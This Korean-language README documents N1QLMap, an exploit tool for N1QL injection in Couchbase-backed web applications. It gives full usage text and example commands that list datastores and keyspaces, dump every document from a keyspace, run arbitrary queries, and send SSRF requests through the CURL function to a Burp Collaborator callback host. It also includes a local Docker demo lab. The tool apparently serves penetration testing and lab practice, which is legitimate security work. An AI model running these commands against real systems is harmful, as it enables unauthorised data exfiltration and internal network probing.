
이 도구는 N1QL 인젝션 취약점을 이용하여 Couchbase 데이터베이스에서 데이터를 유출합니다.
N1QLMap은 N1QL 익스플로잇 도구입니다. 현재 Couchbase 데이터베이스와 함께 작동합니다. 이 도구는 데이터 추출 및 CURL을 통한 SSRF 공격 수행을 지원합니다. 자세한 내용은 다음에서 확인할 수 있습니다: https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database.
usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]
(-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])
host
positional arguments:
host Host used to send an HTTP request e.g. https://vulndomain.net
optional arguments:
-h, --help show this help message and exit
-r REQUEST, --request REQUEST
Path to an HTTP request
-k KEYWORD, --keyword KEYWORD
Keyword that exists in HTTP response when query is successful
--proxy PROXY Proxy server address
--validatecerts Set the flag to enforce certificate validation. Certificates are not validated by default!
-v, --verbose_debug Set the verbosity level to debug
-d, --datastores Lists available datastores
-ks DATASTORE_URL, --keyspaces DATASTORE_URL
Lists available keyspaces for specific datastore URL
-e KEYSPACE_ID, --extract KEYSPACE_ID
Extracts data from a specific keyspace
-q QUERY, --query QUERY
Run arbitrary N1QL query
-c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]
Runs CURL N1QL function inside the query, can be used to SSRF
request.txt 파일에 저장합니다. *i*를 사용하여 인젝션 지점을 표시하세요. 참고를 위해 example_request_1.txt 파일을 확인하세요.데이터스토어 추출:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores
특정 데이터스토어 ID에서 키스페이스 추출:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"
지정된 키스페이스에서 모든 문서 추출:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample
임의 쿼리 실행:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'
CURL 요청 / SSRF 수행:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"
취약점을 실험해보려면 Couchbase 및 NodeJS 웹 애플리케이션이 포함된 Docker 머신을 띄울 수 있습니다. 요구 사항을 이미 충족했다면 다음을 실행하세요:
cd n1ql-demo
./quick_setup.sh
이제 사용법 섹션에 설명된 명령어를 Docker화된 웹 애플리케이션에 대해 실행할 수 있습니다.
N1QLMap.py 스크립트는 Python 3 외에는 특별한 요구 사항이 필요하지 않습니다.
다음 요구 사항은 n1ql-demo 디렉토리에 제공된 데모에만 필요합니다.
Kali에 Docker 및 Docker Compose 설치하기:
# Docker Installation
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list
apt-get update
apt-get remove docker docker-engine docker.io
apt-get install docker-ce
# Start Docker Service
systemctl start docker
# Docker Compose Installation
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
Docker 테스트:
docker run hello-world